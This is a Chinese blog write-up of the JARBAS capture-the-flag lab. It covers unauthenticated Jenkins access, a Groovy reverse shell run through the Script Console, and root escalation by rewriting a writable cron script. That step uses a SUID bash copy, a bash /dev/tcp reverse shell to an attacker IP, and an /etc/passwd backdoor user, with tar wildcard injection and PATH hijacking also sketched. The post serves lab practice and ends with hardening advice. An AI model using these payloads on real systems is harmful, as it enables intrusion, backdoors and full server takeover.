三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Jenkins未授权访问与Crontab提权实战:从漏洞利用到权限提升完整解析

Jenkins未授权访问与Crontab提权实战:从漏洞利用到权限提升完整解析

1. 项目概述:一次完整的Jenkins渗透与提权实战

最近在复现JARBAS这个靶机时,我完整地走了一遍从Web入口发现、Jenkins未授权访问、到利用其功能获取shell,最终通过crontab定时任务实现权限提升的全过程。这不仅仅是一次简单的漏洞利用,更像是一次贴近真实内网环境的渗透测试演练。整个流程清晰地展示了攻击者如何利用一个看似普通的Web应用漏洞,逐步深入,最终完全控制一台Linux服务器的攻击链。对于想深入理解Web渗透、中间件安全以及Linux提权逻辑的朋友来说,这个靶机提供了一个绝佳的“沙盘”。

JARBAS靶机本身设计精巧,它没有依赖特别偏门或0day的漏洞,而是聚焦于那些在真实环境中因配置不当而高频出现的安全问题。核心路径就是:信息收集 -> Jenkins未授权访问 -> 命令执行获取初始立足点 -> 横向移动与信息搜集 -> 利用crontab配置不当实现root提权。这个过程几乎涵盖了初级到中级渗透测试工程师需要掌握的大部分核心技能点。接下来,我将结合实战复现的每一步,拆解其中的技术细节、操作意图以及那些容易踩坑的地方。

2. 靶机环境搭建与初始信息收集

2.1 靶机部署与网络配置

JARBAS靶机通常以虚拟机镜像(如OVA格式)的形式提供,我们需要将其导入到VMware或VirtualBox这类虚拟化软件中。这里有一个关键细节:靶机的网络模式。为了模拟真实的攻击场景,我强烈建议将靶机和你的攻击机(通常是Kali Linux)设置为“桥接模式”或置于同一个“仅主机模式”的虚拟网络中。这样,两者将处于同一网段,可以直接通过IP地址进行通信,避免了NAT模式可能带来的地址转换和端口转发问题。

启动靶机后,第一步是确定它的IP地址。由于靶机通常不会主动告知IP,我们需要进行网络扫描。使用netdiscoverarp-scan进行二层发现是高效的选择,因为它们基于ARP协议,速度快且准确。

# 使用 netdiscover 扫描本地网络段 sudo netdiscover -r 192.168.1.0/24 # 或者使用 arp-scan sudo arp-scan -l

扫描结果中,除了你已知的设备(如你的攻击机、路由器),那个陌生的IP地址很可能就是靶机。记下这个IP,我们假设它为192.168.1.105

注意:在真实渗透测试中,获得授权后,信息收集阶段同样始于资产发现。主动扫描是必要手段,但务必在授权范围内进行,并注意扫描流量可能触发的安全告警。

2.2 全面的端口与服务探测

拿到IP后,下一步是进行端口扫描,以确定靶机开放了哪些服务,从而寻找潜在的入口点。nmap是这个环节的瑞士军刀。我习惯使用一个综合性的扫描命令,它结合了SYN扫描、服务版本探测和默认脚本扫描,能在效率和深度之间取得良好平衡。

nmap -sS -sV -sC -p- 192.168.1.105 -oN nmap_initial.txt
  • -sS: SYN半开放扫描,速度快且相对隐蔽。
  • -sV: 探测服务版本信息,这对于后续搜索漏洞利用代码至关重要。
  • -sC: 使用默认的Nmap脚本进行更深入的探测,有时能直接发现漏洞或配置信息。
  • -p-: 扫描所有65535个端口,避免遗漏高端口服务。
  • -oN nmap_initial.txt: 将标准格式的扫描结果输出到文件,便于后续分析。

扫描完成后,仔细分析输出报告。对于JARBAS靶机,你可能会看到类似如下的关键信息:

  • 端口 22/tcp: 开放SSH服务。这是常见的远程管理端口,通常是我们尝试爆破或利用密钥登录的目标,但在初期没有凭证时,往往不是首选突破口。
  • 端口 80/tcp: 开放HTTP服务。运行着一个Web应用,这通常是渗透测试的主战场。
  • 端口 8080/tcp: 开放另一个HTTP服务。版本信息显示为Jetty 9.4.z-SNAPSHOT,并且可能关联到Jenkins服务。这是一个极其重要的发现!Jenkins作为一个广泛使用的CI/CD工具,历史上有过多起严重的未授权访问和命令执行漏洞。

发现8080端口的Jenkins后,我们的攻击面瞬间清晰了许多。下一步就是直接访问这个Jenkins服务,验证其访问控制是否严格。

3. Jenkins未授权访问与初始漏洞利用

3.1 验证Jenkins控制台访问

在浏览器中直接访问http://192.168.1.105:8080。如果运气好(或者说靶机配置“不好”),你可能会直接看到Jenkins的仪表盘,而没有出现登录界面。这就是典型的“未授权访问”漏洞。在旧版本或配置不当的Jenkins中,其管理控制台可能默认对网络开放,或者管理员错误地配置了安全矩阵,允许匿名用户拥有过多权限。

如果看到了登录框,也不要立刻放弃。可以尝试一些默认或弱口令,如admin/adminjenkins/jenkins等。但在JARBAS靶机的典型设置中,它往往直接允许未授权访问。

一旦成功进入Jenkins控制台,我们的目标就变成了:在Jenkins服务器上执行任意系统命令,从而获得一个反向shell,建立稳定的远程控制通道

3.2 利用“脚本命令行”执行系统命令

Jenkins提供了一个强大的功能叫“脚本命令行”(Script Console),它允许具有相应权限的用户执行Groovy或Java代码。在未授权或低权限访问的情况下,如果这个功能对当前用户开放,那就是一个绝佳的命令执行点。

  1. 在Jenkins左侧菜单中,找到并点击“管理Jenkins”
  2. 在管理页面中,寻找“脚本命令行”选项。
  3. 进入脚本命令行界面,你会看到一个可以输入代码的文本框。

这里,我们可以利用Groovy代码来执行系统命令。例如,最简单的测试是执行whoamiid命令,来确认当前Jenkins服务运行的用户身份(通常是jenkinstomcat等非root用户)。

println "whoami".execute().text println "id".execute().text

点击“运行”,如果下方输出显示了用户名和UID/GID信息,恭喜你,命令执行成功了!这确认了我们可以在目标服务器上以Jenkins服务账户的身份执行命令。

3.3 获取反向Shell建立持久连接

单纯执行命令的交互性很差,我们需要一个完整的、交互式的shell。最常用的方法是获取一个反向Shell。原理是:在攻击机上监听一个端口,然后在目标机(通过Jenkins)上执行命令,让目标机主动连接到攻击机的这个端口,并将shell会话传递过来。

在攻击机(Kali)上:首先,使用netcat监听一个端口,比如4444。

nc -lvnp 4444
  • -l: 监听模式。
  • -v: 详细输出。
  • -n: 直接使用IP地址,不进行DNS解析。
  • -p: 指定监听端口。

在目标机(通过Jenkins脚本命令行):然后,我们需要在Jenkins上执行一个能建立反向连接的命令。由于目标环境可能没有netcat-e参数支持,或者存在防火墙限制,我们通常使用多种Payload进行尝试。一个经典且兼容性较好的Python反向Shell代码如下:

String host="192.168.1.100"; // 替换为你的攻击机IP int port=4444; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(), so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue();break;}catch (Exception e){} }; p.destroy();s.close();

将上述代码中的host变量改为你的攻击机IP,然后粘贴到Jenkins脚本命令行中执行。如果一切顺利,你会在攻击机的netcat监听窗口看到一个bash提示符,例如jenkins@jarbas:~$。这标志着我们已经成功在目标系统上获得了初始立足点。

实操心得:反向Shell的稳定性有时不佳,容易中断。一旦获得初始Shell,我做的第一件事就是升级为一个更稳定的TTY Shell。可以使用Python:python3 -c 'import pty; pty.spawn("/bin/bash")'或者script /dev/null -c bash。这能提供更好的交互体验,支持命令历史、Tab补全等。

4. 内网信息搜集与横向移动

4.1 立足点后的基础信息收集

拿到shell后,不要急于进行提权。首先,我们需要像一名真正的攻击者一样,仔细探索当前环境,收集一切可能有助于进一步渗透的信息。以下是一些关键命令:

  1. 当前用户与环境信息:

    whoami id pwd env

    这能告诉我们当前权限级别、所在目录以及环境变量,可能包含数据库密码、API密钥等敏感信息。

  2. 系统与网络信息:

    uname -a # 内核版本 cat /etc/issue # 系统发行版信息 hostname ifconfig 或 ip a # 网络接口信息 netstat -tulpn 或 ss -tulpn # 查看网络连接和监听端口

    了解系统架构和内部开放的服务,可能发现新的攻击面。

  3. 文件系统与敏感文件搜索:

    ls -la /home/ # 查看其他用户目录 find / -type f -name "*.txt" -o -name "*.conf" -o -name "*.sh" 2>/dev/null | head -20 find / -perm -4000 -type f 2>/dev/null # 查找SUID文件(经典的提权向量)

    特别注意/home目录下的用户文件夹、/opt/var/www/html等可能存放应用代码和配置文件的地方。

  4. 进程与计划任务:

    ps aux crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统级计划任务目录 cat /etc/crontab

    计划任务(crontab)是我们本次提权的关键,需要格外关注。

4.2 寻找提权突破口:分析crontab

执行cat /etc/crontab命令,仔细查看输出。在JARBAS靶机中,你可能会发现一条类似这样的计划任务配置:

* * * * * root /opt/scripts/backup.sh

这条配置的含义是:以root用户身份,每分钟执行一次/opt/scripts/backup.sh这个脚本

这是一个典型的基于路径的提权漏洞。原理如下:

  1. 权限:cron任务以root身份运行,这意味着它执行的脚本拥有系统的最高权限。
  2. 可写性:如果这个脚本文件(/opt/scripts/backup.sh)或者它所在的目录(/opt/scripts/)的权限设置不当,允许我们当前的低权限用户(如jenkins)进行写入修改,那么我们就能够控制这个脚本的内容。
  3. 后果:由于cron会以root身份执行我们修改后的脚本,我们就能让root去执行我们想要的任何命令,从而实现权限提升。

所以,下一步就是检查这个脚本及其目录的权限。

ls -la /opt/scripts/backup.sh ls -la /opt/scripts/

如果发现backup.sh文件或/opt/scripts/目录对当前用户是可写的(权限中包含w,例如-rwxrwxrwx或目录权限为drwxrwxrwx),那么提权的条件就成熟了。

5. 利用crontab配置不当实现Root提权

5.1 原理深度解析:为什么可以这样提权?

Linux的cron服务是一个守护进程,用于在预定时间执行命令或脚本。/etc/crontab是系统级的cron配置文件之一。当cron执行一个任务时,它会以任务定义中指定的用户身份(本例中是root)来运行命令。

安全风险出现在对脚本文件或目录的访问控制上。Linux的文件权限系统决定了谁可以读、写、执行一个文件。如果低权限用户能够向一个由root定期执行的脚本中写入内容,就相当于“劫持”了root的执行流。攻击者可以将原脚本替换或修改为包含恶意命令(如添加一个具有root权限的SUID shell、反弹一个root权限的shell等)的版本,等待cron任务下一次执行,恶意命令就会以root权限运行。

5.2 实战提权操作步骤

假设我们检查发现/opt/scripts/backup.sh对当前用户可写,以下是具体的提权步骤:

  1. 备份原脚本(可选但建议)

    cp /opt/scripts/backup.sh /tmp/backup.sh.bak

    这是一个好习惯,便于我们了解原脚本的功能,并在必要时恢复。

  2. 编辑脚本,注入提权命令: 我们可以使用echo命令或文本编辑器(如vinano,如果可用)来修改脚本。目标是让脚本在执行时,给我们一个root权限的shell。有多种方法:

    方法A:添加一个具有SUID位的bash副本

    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /opt/scripts/backup.sh

    这条命令会覆盖原脚本,使其内容变为复制/bin/bash/tmp/rootbash,并给这个副本设置SUID位。SUID位意味着任何用户执行这个文件时,都会以文件所有者(这里是root,因为cp命令是以root执行的)的权限运行。执行后,我们运行/tmp/rootbash -p就能获得一个root shell。

    方法B:直接反弹一个root权限的shell到攻击机首先在攻击机上用root权限监听一个新端口(如5555):

    sudo nc -lvnp 5555

    然后在靶机的脚本中写入反弹命令:

    echo 'bash -c "bash -i >& /dev/tcp/192.168.1.100/5555 0>&1"' > /opt/scripts/backup.sh

    记得替换IP为你的攻击机IP。

    方法C:在/etc/passwd中添加一个root权限用户这是一种更隐蔽的后门方式。先生成一个密码的密文(例如,密码设为hack):

    openssl passwd -1 -salt abc hack # 输出类似:$1$abc$TkWZgYQp1QqCq5Qp5Qq5Q0

    然后在脚本中添加用户:

    echo 'echo "hack:\$1\$abc\$TkWZgYQp1QqCq5Qp5Qq5Q0:0:0:root:/root:/bin/bash" >> /etc/passwd' > /opt/scripts/backup.sh

    之后就可以用用户名hack,密码hack进行root登录。

  3. 等待cron执行并验证提权: cron任务是每分钟执行一次,所以我们最多只需要等待一分钟。可以不断尝试执行提权命令来检查是否成功。

    • 对于方法A,等待一分钟后,执行/tmp/rootbash -p,如果提示符变为root@jarbas,则成功。
    • 对于方法B,等待一分钟后,查看攻击机的5555端口监听窗口是否接收到root shell。
    • 对于方法C,等待一分钟后,执行su hack,输入密码hack,看是否切换为root。
  4. 清理痕迹(渗透测试后期必做): 提权成功后,为了不破坏靶机环境(方便他人复现)或在真实测试中减少被发现的风险,应清理我们留下的痕迹。

    # 恢复原备份脚本(如果做了备份) cp /tmp/backup.sh.bak /opt/scripts/backup.sh # 删除创建的临时文件 rm -f /tmp/rootbash # 删除添加的用户(如果用了方法C) sed -i '/^hack:/d' /etc/passwd

5.3 其他可能的crontab提权场景

除了直接写脚本文件,还有其他几种常见的crontab提权姿势:

  1. 通配符注入:如果cron任务中使用了通配符,例如root tar -czf /backups/*.tar.gz /home/user/,并且在/home/user/目录下,攻击者可以创建文件名类似--checkpoint=1--checkpoint-action=exec=shell.sh的文件,利用tar命令的参数注入来执行任意命令。
  2. 环境变量PATH劫持:如果cron执行的命令没有使用绝对路径,例如只写了myscript.sh,那么系统会在PATH环境变量指定的目录中查找这个脚本。如果攻击者能够将一个恶意的myscript.sh写入到PATH中比原脚本更靠前的目录,cron就会执行恶意脚本。
  3. 脚本中调用其他可写命令:即使脚本本身不可写,但如果脚本内部调用了另一个可由低权限用户修改的命令或脚本,同样可以导致提权。

6. 渗透流程总结与防御加固建议

6.1 完整攻击链复盘

回顾整个JARBAS靶机的渗透过程,攻击链非常清晰:

  1. 信息收集:通过端口扫描发现8080端口的Jenkins服务。
  2. 漏洞利用:利用Jenkins未授权访问漏洞,进入管理控制台。
  3. 初始访问:通过Jenkins的“脚本命令行”功能,执行系统命令,获取一个反向Shell,建立初始立足点(jenkins用户权限)。
  4. 权限提升:在目标系统上进行深入信息收集,发现以root身份运行的cron任务(/opt/scripts/backup.sh)。
  5. 提权利用:利用该脚本或目录权限配置不当(低权限用户可写),篡改脚本内容,注入恶意命令。
  6. 获取最高权限:等待cron任务执行,恶意命令以root权限运行,成功获得root shell。

6.2 针对性的防御加固措施

从防御者角度,我们可以从攻击链的每一个环节进行阻断:

  1. Jenkins安全配置

    • 强制启用身份验证:在Jenkins的“全局安全配置”中,务必启用安全矩阵,禁止匿名用户拥有任何权限,为所有用户配置最小权限原则。
    • 定期更新:保持Jenkins及其插件更新到最新版本,及时修复已知漏洞。
    • 网络访问控制:通过防火墙策略,限制访问Jenkins控制台的IP地址范围,仅允许运维或开发人员所在的网络段访问。
    • 审计脚本命令行:严格控制“脚本命令行”功能的访问权限,最好只授予绝对必要的管理员账户。
  2. Linux系统与cron任务安全

    • 最小权限原则:cron任务应避免直接使用root用户。如果可能,创建一个具有所需最小权限的专用系统用户来运行特定的cron任务。
    • 严格的文件权限:对cron任务执行的脚本文件及其所在目录,设置严格的权限。确保只有必要的用户(如root和脚本所有者)有写权限。例如:chmod 755 /opt/scripts/backup.shchown root:root /opt/scripts/backup.sh
    • 使用绝对路径:在cron任务和脚本内部,所有命令都应使用绝对路径(如/bin/bash,/usr/bin/tar),防止PATH环境变量劫持。
    • 谨慎使用通配符:在cron任务的命令中,特别是涉及压缩、打包等操作时,避免使用通配符*,或者在使用前对参数进行严格的验证和过滤。
    • 定期审计:定期检查/etc/crontab/etc/cron.d//var/spool/cron/等目录下的计划任务,排查是否存在可疑或权限不当的任务。
  3. 整体安全监控

    • 日志审计:集中收集和分析系统日志(如/var/log/auth.log,/var/log/syslog)、Jenkins访问日志和审计日志,监控异常登录、命令执行和文件修改行为。
    • 入侵检测:部署HIDS(主机入侵检测系统),监控对关键文件(如/etc/passwd,crontab文件, SUID文件)的修改。

通过这次JARBAS靶机的实战复现,我们不仅练习了从外网突破到内网提权的完整流程,更重要的是理解了每一个漏洞点背后的安全原理和配置错误。真正的安全能力,正是在这种“攻”与“防”的反复思考和实践中建立起来的。在自家环境搭建靶机进行这类练习,是提升实战技能最安全、最有效的方式之一。

← 返回列表